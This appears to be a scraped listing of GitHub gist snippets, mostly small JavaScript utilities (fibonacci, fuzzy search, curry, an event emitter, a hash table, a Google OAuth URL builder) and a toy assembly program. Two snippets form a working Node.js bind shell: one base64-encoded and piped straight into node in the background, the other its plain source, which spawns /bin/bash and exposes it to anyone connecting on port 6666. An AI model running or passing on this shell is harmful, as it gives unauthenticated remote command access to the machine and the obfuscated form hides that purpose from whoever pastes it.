This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
_main | |
JMP _c | |
HALT | |
_c | |
OUT 1 0 | |
OUT 1 1 | |
OUT 1 2 | |
OUT 1 14 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo 'cmVxdWlyZSgnbmV0JykuY3JlYXRlU2VydmVyKChzb2NrZXQpID0+IHsKICBsZXQgYmFzaCA9IHJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5zcGF3bignL2Jpbi9iYXNoJykKICBzb2NrZXQub24oJ2RhdGEnLCBkYXRhID0+IGJhc2guc3RkaW4ud3JpdGUoZGF0YS50b1N0cmluZygpLnRyaW0oKSArICdcbicpKQogIGJhc2guc3Rkb3V0LnBpcGUoc29ja2V0KQogIGJhc2guc3RkZXJyLnBpcGUoc29ja2V0KQp9KS5saXN0ZW4oNjY2Nik=' | base64 -D | node & |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require('net').createServer((socket) => { | |
let bash = require('child_process').spawn('/bin/bash') | |
socket.on('data', data => bash.stdin.write(data.toString().trim() + '\n')) | |
bash.stdout.pipe(socket) | |
bash.stderr.pipe(socket) | |
}).listen(6666) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let fib = (x) => (x === 0 || x === 1) ? x : fib(x - 1) + fib(x - 2) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
// fuzzy search | |
// | |
// list filter by a regex that matches a order of characters with anything inbeween them | |
// the filter azb whould match string that has a before z before b | |
// a fuzzy azb would be the regex /.*a.*z.*b.*/ | |
fuzzy = (filterTerm) => new RegExp('.*' + filterTerm.toLowerCase().split('').join('.*') + '.*') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let curry = (fn, ...defaults) => { | |
if(typeof fn !== 'function') throw new Error('Expected a function') | |
if(fn.length < 2) return fn | |
if(defaults.length >= fn.length) return fn(...defaults) | |
return (...args) => curry(fn, ...defaults.concat(args)) | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class EE { | |
constructor(){ | |
this.listeners = {} | |
} | |
on(message, cb){ | |
if(this.listeners[message]){ | |
this.listeners[message].push(cb) | |
} else { | |
this.listeners[message] = [cb] | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let oauthURL = 'https://accounts.google.com/o/oauth2/v2/auth' | |
let oauthQuery = encode({ | |
client_id: __GOOGLE_CLIENT_ID__, | |
redirect_uri: `${__API_URL__}/oauth/google/code`, | |
response_type: 'code', | |
scope: 'openid email profile', | |
prompt: __DEBUG__ ? 'consent' : undefined, | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const DLL = require('../doubly-linked-list'); | |
const HashTable = module.exports = function(size=1000){ | |
this.size = size; | |
} | |
HashTable.prototype.hash = function(key){ | |
return key.split('').reduce((p, n) => p + n.charCodeAt(0), 0) % this.size; |